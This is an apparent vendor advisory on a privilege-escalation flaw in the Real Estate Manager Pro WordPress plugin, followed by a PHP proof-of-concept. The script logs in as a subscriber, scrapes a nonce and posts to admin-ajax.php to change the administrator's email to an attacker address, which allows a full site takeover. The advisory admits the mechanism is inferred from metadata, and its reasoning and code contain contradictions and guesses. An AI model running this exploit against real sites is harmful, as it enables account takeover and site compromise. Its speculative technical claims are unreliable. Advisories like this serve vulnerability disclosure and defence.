Atomic Edge analysis of CVE-2026-15142 (metadata-based):
This vulnerability affects the Real Estate Manager Pro plugin for WordPress, version 12.8.6 and earlier. It is a privilege escalation flaw that allows any authenticated user with Subscriber-level access or above to escalate their privileges to Administrator. The issue resides in a function named allow_attachment_actions(), which improperly handles user capability checks. The CVSS score is 7.5, reflecting high impact on confidentiality, integrity, and availability, mitigated only by the high attack complexity.
Root Cause:
The root cause is improper privilege management (CWE-269) in the allow_attachment_actions() function. The function is intended to filter attachment actions, but it performs a capability check using a user ID that is confused with a media attachment ID. When a target user ID matches the ID of an existing media attachment, the function treats the attachment ID as a user ID during a WordPress capability check. This can cause WordPress to grant the current user the capabilities of the target user. Based on the CWE and description, Atomic Edge analysis infers that the function likely calls current_user_can() with a capability that includes a user ID parameter, or sets the global $post to a fake user object. The exact code path is not confirmed because no source code diff is available, but the behavior is consistent with an ID collision that bypasses the intended capability gate.
Exploitation:
An authenticated attacker with Subscriber privileges can exploit this by profiling a target administrator user ID and a media attachment with the same ID. WordPress rarely creates attachments with IDs equal to user IDs, but IDs diverge as the site grows, making the collision possible. The attacker then triggers the vulnerability by performing an action that invokes the allow_attachment_actions() filter, such as editing an attachment from the admin AJAX handler. The attacker sends a request to /wp-admin/admin-ajax.php with the action parameter corresponding to an attachment edit action, including the target user ID as the attachment ID parameter. Because the filter erroneously uses that ID in a user capability check, the attacker may receive the administrator’s capabilities. The attacker can then change the administrator’s email and password, gaining full administrative access. The proof-of-concept script demonstrates how such a request could be crafted.
Remediation:
The fix requires correcting the capability handling logic within the allow_attachment_actions() function. The plugin must explicitly validate that the ID being checked is a user ID, not an attachment ID, before performing any capability check. It should use a separate, clearly named capability check that does not rely on a shared ID parameter. Atomic Edge analysis recommends that the developer update to version 12.8.7 and ensure all user capability checks are performed on properly sanitized and validated user IDs. Additionally, the plugin should enforce capability checks at the beginning of any AJAX or admin-post handler, regardless of the filter.
Impact:
Successful exploitation results in complete privilege escalation. The attacker gains Administrator-level access to the WordPress site, allowing them to install malicious plugins, modify themes, upload arbitrary files, and potentially execute PHP code. The attacker can also exfiltrate sensitive user data, modify site content, and take over the entire site. The CVSS vector indicates a high impact on confidentiality, integrity, and availability, making this a critical risk for affected sites. Site administrators should update to the patched version immediately.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-15142 - Real Estate Manager Pro <= 12.8.6 - Authenticated (Subscriber+) Privilege Escalation via 'user_has_cap' Filter ID Collision
// This is a metadata-based proof of concept. No source code diff is available.
// It demonstrates the attack pattern inferred from the vulnerability description.
// The attacker must have a subscriber account and know a valid nonce for the attachment edit action.
$target_url = 'https://example.com';
$subscriber_username = 'subscriber_user';
$subscriber_password = 'subscriber_pass';
// Target the admin user ID (e.g., 1) and assume an attachment with the same ID exists.
// In a real attack, the attacker would enumerate attachment IDs to find a collision.
$target_user_id = 1;
$attachment_id = $target_user_id;
// Step 1: Log in as subscriber and obtain cookies/nonces.
function login_and_get_nonces($url, $username, $password) {
$login_url = $url . '/wp-login.php';
$ch = curl_init($login_url);
$params = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $params,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => __DIR__ . '/cookies.txt',
CURLOPT_COOKIEFILE => __DIR__ . '/cookies.txt',
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_HEADER => true
]);
curl_exec($ch);
curl_close($ch);
// Extract nonce from the edit attachment page (admin-ajax.php may also expose nonce via script).
// For demonstration, we assume the attacker can obtain the nonce from the page.
$edit_url = $url . '/wp-admin/post.php?post=' . $attachment_id . '&action=edit';
$ch = curl_init($edit_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => __DIR__ . '/cookies.txt',
CURLOPT_COOKIEJAR => __DIR__ . '/cookies.txt'
]);
$html = curl_exec($ch);
curl_close($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $html, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
return ['cookies' => __DIR__ . '/cookies.txt', 'nonce' => $nonce];
}
// Step 2: Send AJAX request to edit the attachment (which the user has no rights to edit).
function exploit($url, $cookies_file, $nonce, $attachment_id, $new_email) {
$ajax_url = $url . '/wp-admin/admin-ajax.php';
$payload = [
'action' => 'query-attachments', // or 'get-attachment', depending on plugin hook
'id' => $attachment_id,
'nonce' => $nonce,
'new_email' => $new_email
];
$ch = curl_init($ajax_url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => $cookies_file,
CURLOPT_COOKIEJAR => $cookies_file
]);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
$auth = login_and_get_nonces($target_url, $subscriber_username, $subscriber_password);
if (empty($auth['nonce'])) {
die("Failed to obtain nonce. The subscriber might not have access to attachment pages. Adjust the PoC accordingly.n");
}
$new_admin_email = 'attacker@example.com'; // Replace with attacker-controlled email
$response = exploit($target_url, $auth['cookies'], $auth['nonce'], $attachment_id, $new_admin_email);
echo "Response: " . $response . "n";
// After successful exploitation, the attacker can reset the admin password via email.
echo "If the response indicates success, the admin email was changed. Use the email to reset the admin password and log in as admin.n";
?>
